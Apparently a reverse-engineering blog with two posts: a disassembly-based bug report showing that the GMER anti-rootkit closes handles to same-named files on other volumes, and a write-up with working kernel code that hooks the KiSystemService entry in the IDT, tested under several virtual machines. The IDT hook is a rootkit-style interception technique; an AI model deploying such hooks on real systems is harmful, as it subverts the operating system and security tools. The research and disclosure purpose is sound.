.text:0001B57B                 push    eax             ; Handle
.text:0001B57C                 call    ebx ; NtClose
.text:0001B57E                 mov     status, eax
.text:0001B583                 call    ds:KeDetachProcess
.text:0001B589                 jmp     short loc_1B592
.text:0001B58B ; ---------------------------------------------------------------------------
.text:0001B58B
.text:0001B58B handleBelongsToCurrentProcess:          ; CODE XREF: sub_1B488+E6 j
.text:0001B58B                 movzx   eax, word ptr [edi+6]
.text:0001B58F                 push    eax             ; Handle
.text:0001B590                 call    ebx ; NtClose
.text:0001B592
.text:0001B592 loc_1B592:                              ; CODE XREF: sub_1B488+101 j
.text:0001B592                 mov     ecx, [ebp+pEPROCESS] ; Object
.text:0001B595                 call    ds:ObfDereferenceObject
.text:0001B59B
.text:0001B59B next_struct:                            ; CODE XREF: sub_1B488+50 j
.text:0001B59B                                         ; sub_1B488+5F j ...
.text:0001B59B                 inc     [ebp+index]
.text:0001B59E                 mov     eax, [ebp+PSYSTEM_HANDLE_INFORMATION]
.text:0001B5A1                 jmp     loc_1B4BB
.text:0001B5A6 ; ---------------------------------------------------------------------------
.text:0001B5A6
.text:0001B5A6 _end:                                   ; DATA XREF: .rdata:stru_1EED0 o
.text:0001B5A6                 xor     eax, eax
.text:0001B5A8                 inc     eax
.text:0001B5A9                 retn

Where the problem is?
Let’s take a look on issue where the gmer searches for a opened handles associated with interesting for us file to close them.
Gmer’s author decided here to use delivered FILE_OBJECT with SYSTEM_HANDLE_INFORMATION structure (NtQuerySystemInformation) and rightly, but …
Verification starts with comparison file path length of file passed as argument and this one included in a FILE_OBJECT.

.text:0001B51E                 push    [ebp+filePath]  ; wchar_t *
.text:0001B521                 call    ds:wcslen
.text:0001B527                 pop     ecx
.text:0001B528                 sub     eax, 6
.text:0001B52B                 mov     [ebp+a2], eax
.text:0001B52E                 movzx   ecx, word ptr [esi+30h] ; fileObject-&amp;amp;amp;amp;amp;amp;gt;FileName.Length
.text:0001B532                 shr     ecx, 1
.text:0001B534                 cmp     ecx, eax
.text:0001B536                 jnz     short next_struct

If a lengths are identical we go to a another test. Before I will go further I feel big need to niggle one piece of code and to mention here about good programming practices and code optimization. Exactly here is the piece of code:

.text:0001B51E                 push    [ebp+filePath]  ; wchar_t *
.text:0001B521                 call    ds:wcslen

Above fragment of code is inside the loop so during each iteration when object is a file, is called totally without any sense function wcslen which calculates length of filePath passed to sub_1B488 as argument!!! That multiple calculation of the same value leads to nothing else like loss of code productivity and in this case productivity will be decreased proportion to filePath length. Honestly, I highly don’t recommend such a constructions ;) .

Go ahead:

.text:0001B538                 push    eax             ; length
.text:0001B539                 mov     eax, [ebp+filePath]
.text:0001B53C                 add     eax, 0Ch
.text:0001B53F                 push    eax             ; wchar_t *
.text:0001B540                 push    dword ptr [esi+34h] ; fileObject-&amp;amp;amp;amp;amp;amp;gt;FileName.Buffer
.text:0001B543                 call    ds:_wcsnicmp

Above we can see code resposibles of comparison two strings representing paths to files.
But, but,but !!! It’s not comparison of file paths which contain volume letter!!!.
Paths look here in the following way:
„folderfile.ext”

Only that kind of comparison leads to situation where handle related with file which path is the same as this one passed by us as argument, but located on totally different volume will be also closed!!!.

[+]Example
For tests purpose I created an small application which opens a handle to a file without delete privilege ( without FILE_SHARE_DELETE ) to force gmer to use above explained procedure. Code of this application you can find below:
cpp]
int main(int argc, char* argv[])
{

HANDLE h = CreateFileA(argv[1],
GENERIC_READ,
FILE_SHARE_READ | FILE_SHARE_WRITE,
0,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
0);
if(h == INVALID_HANDLE_VALUE)
{
cout<<"[+]INVALID_HANDLE_VALUE"< cout< return 0;
}
cout<<"[+]File opened"< getchar();
}
[/cpp]

and also Handle v3.42 tool, to list all opened handles by interesting for us process. On two different consoles I launched my compiled code ( zlo.exe ) with the following parameters:

Console_1:
zlo.exe C:install.exe

and

Console_2:
zlo.exe E:install.exe

After those steps I printed all opened handles by those applications:

// Before attempt to C:install.exe remove[+]
c:Documents and Settingsvirtual&amp;amp;amp;amp;amp;amp;gt;handle.exe -p zlo.exe

Handle v3.42
Copyright (C) 1997-2008 Mark Russinovich
Sysinternals - www.sysinternals.com

------------------------------------------------------------------------------
zlo.exe pid: 1928 SLAVEvirtual
    C: File  (RW-)   C:Documents and Settingsvirtual
  7E8: File  (RW-)
C:WINDOWSWinSxSx86_Microsoft.VC90.CRT_1fc8b3b9a1e18e3b_9.0.21022.8_x-ww_d08d0375
  7F4: File  (RW-)   C:install.exe
------------------------------------------------------------------------------
zlo.exe pid: 932 SLAVEvirtual
    C: File  (RW-)   C:Documents and Settingsvirtual
  7E8: File  (RW-)
C:WINDOWSWinSxSx86_Microsoft.VC90.CRT_1fc8b3b9a1e18e3b_9.0.21022.8_x-ww_d08d0375
  7F4: File  (RW-)   E:install.exe

Afterwards using gmer I removed C:install.exe and again I printed handles:

//Po usunieciu przez gmer'a C:install.exe
c:Documents and Settingsvirtual&amp;amp;amp;amp;amp;amp;gt;handle.exe -p zlo.exe

Handle v3.42
Copyright (C) 1997-2008 Mark Russinovich
Sysinternals - www.sysinternals.com

------------------------------------------------------------------------------
zlo.exe pid: 1928 SLAVEvirtual
    C: File  (RW-)   C:Documents and Settingsvirtual
  7E8: File  (RW-)
C:WINDOWSWinSxSx86_Microsoft.VC90.CRT_1fc8b3b9a1e18e3b_9.0.21022.8_x-ww_d08d0375
------------------------------------------------------------------------------
zlo.exe pid: 932 SLAVEvirtual
    C: File  (RW-)   C:Documents and Settingsvirtual
  7E8: File  (RW-)
C:WINDOWSWinSxSx86_Microsoft.VC90.CRT_1fc8b3b9a1e18e3b_9.0.21022.8_x-ww_d08d0375

Results confirmed my theory. Like you can see also handle to E:install.exe has been closed.

[+]Advice
Adding full file paths comparison using e.g. IoQueryFileDosDeviceName.

That's all;)

Posted in Analiza, RE | Tagged , , , , | Leave a comment

VBox,Virtual PC,VMware i IDT Hooking

It’s gonna be quite light version of post about “anomaly” which I had pleasure to notice during tests of IDT hooking under virtual machines mentioned in this post title. Why light? Because in order to present all details related with cases that I’m going to show in letter part of post, it would required a deeply research regarding to internal manner of work each virtual machine
( I guess so :P ). My suggestion is to treat this post like a curiosity/(vector to research) and not like a result of deeply research.

Entire story begins from the moment when I decided to test the simplest hook on KiSystemService procedure through modification its address in IDT table. It’s a piece of code responsible of hook installation:

void IDTHook()
{
IDTINFO idtInfo;
IDTENTRY *idt_entries;
IDTENTRY *int2e_entry;
DbgPrint([+] IDTHook);
//pobranie IDTINFO
idtInfo = getIDTInfo();
//pobranie *tablicy IDT
idt_entries = getIDTEntries(&amp;amp;idtInfo);

//zapisanie oryginalnego IDTENTRY_2E
orgIDTEntry_2e = idt_entries[KiSystemService_INDEX];
//zapisanie DWORD'a na potrzeby funkcji hookujacej
orgKiSystemService = MAKELONG(orgIDTEntry_2e.LowOffset,orgIDTEntry_2e.HiOffset);
__asm cli;//wylacz obsluge maskowalnych przerwan
idt_entries[KiSystemService_INDEX].LowOffset = (unsigned short)(&amp;MySystemService);
idt_entries[KiSystemService_INDEX].HiOffset  = (unsigned short)(((unsigned long)(&amp;amp;MySystemService))&lt;&lt;16);
__asm lidt idtInfo;
__asm sti;//wlacz obsluge maskowalnych przerwan

}

‘code MySystemService has been rewritten from „Subverting Windows Kernel”‘

__declspec(naked) MySystemService()
{

__asm{
pushad
pushfd
push fs
mov bx,0x30
mov fs,bx
push ds
push es
//do something

//Finish:
pop es
pop ds
pop fs
popfd
popad

jmp	orgKiSystemService;
}
}
/* __asm { sysenter VPC } */

Without bigger doubts and not necessary thinking I decided to test obtained driver under
Virtual PC(ver. 6.0.192.0 + additions)[OS: Windows XP SP3 Eng], which I mostly used to use. To my great surprise (because I counted on BSOD :P ) during attempt to hook installation, occurred internal VPC error:
vpc_crash_error

Hymm…strange issue I thought. Meanwhile I remind to myself that operation system doesn’t need to use IDT table if our processor supports sysenter/syscall instruction. Eye throw under vpc on call to one of mostly used native api: ZwOpenFile, dispelled my doubts:
vpc_syscalls_handler

Error “triggered” by VPC pointed that it’s not strict related problem with OS, rather with vm, and now additionally we know that sense of hook installation on IDT under VPC isn’t too big(by what should be harmless) ;) . I decided to perform test again after uninstallation additions from system. Another surprise here, system acted like it should act, that is:
- hook have been installed successfully
and neither of breakpoints (after quite long time), which I had set on MySystemService wasn’t triggered. We will see now how to cases look under VirtualBox.

/* __asm { INT VirtualBox } */

Ver. 3.0.8 r53138 + additions
OS stays without changes under each vm.

First issue which I have checked under this vm is manner on what process steps from r3 to r0.
vbox_syscalls_handler

Delicious! Like you can see on attached screenshot without any doubts we can test hooks on IDT. It seemed as such to me …
I’m loading driver ,I’m passing proper IOCTL code to my driver which is going to trigger hook installation and … :

vbox_crash

entire action is ending with unexpected VBox crash.
Don’t wondering too much I have uninstalled additions from system and I repeated test. Success! Hook installation have been made without any problems, but after couple another attempts I’ve had situations where system crashed with BSOD unambiguously saying, that occurred access attempt to paged memory region. Windbg was pointing following line of code as source of all evil:

idt_entries[KiSystemService_INDEX].LowOffset = (unsigned short)(&amp;amp;MySystemService);

Hymm…a little strange. IDT in paged memory region o_0 ?
I have modified a little source code to eliminate this problem by mapping IDT table under NON-PAGED memory area. Code presents now in the following way :

void IDTHook()
{
IDTINFO idtInfo;
IDTENTRY *idt_entries;
IDTENTRY *int2e_entry;
DbgPrint("[+] IDTHook");
//pobranie IDTINFO
idtInfo = getIDTInfo();
//pobranie *tablicy IDT
idt_entries = getIDTEntries(&amp;idtInfo);

//try to map it
idt_entries = mapMemory(idt_entries,idtInfo.IDTLimit);// NOWA LINIA
//update idtinfo struct
idtInfo.HiIDTbase  = HIWORD(idt_entries);
idtInfo.LowIDTbase = LOWORD(idt_entries);

//zapisanie oryginalnego IDTENTRY_2E
orgIDTEntry_2e = idt_entries[KiSystemService_INDEX];
//zapisanie DWORD'a na potrzeby funkcji hookujacej
orgKiSystemService = MAKELONG(orgIDTEntry_2e.LowOffset,orgIDTEntry_2e.HiOffset);
__asm cli;//wylacz obsluge maskowalnych przerwan
idt_entries[KiSystemService_INDEX].LowOffset = (unsigned short)(&amp;amp;MySystemService);
idt_entries[KiSystemService_INDEX].HiOffset  = (unsigned short)(((unsigned long)(&amp;MySystemService))&gt;&gt;16);
__asm lidt idtInfo;
__asm sti;//wlacz obsluge maskowalnych przerwan

}

This simple “patch” eliminated occurrence of BSOD’s.

/* __asm { VMware sysenter } */

VMware Workstation
6.5.3 build-185404

Quick look on transition r3 – > r0:
vmware_syscalls_handler
As we can see sysenter has been used here. I won’t dwell on vmware and at the beginning I’m going to say that there is no problems with hook installation, with or without installed additions in system.

As summary I prepared the following table:
table

Like always comments and any kind of suggestions are welcome ;) .

Posted in Analiza | Tagged , , , , , , , | 4 Comments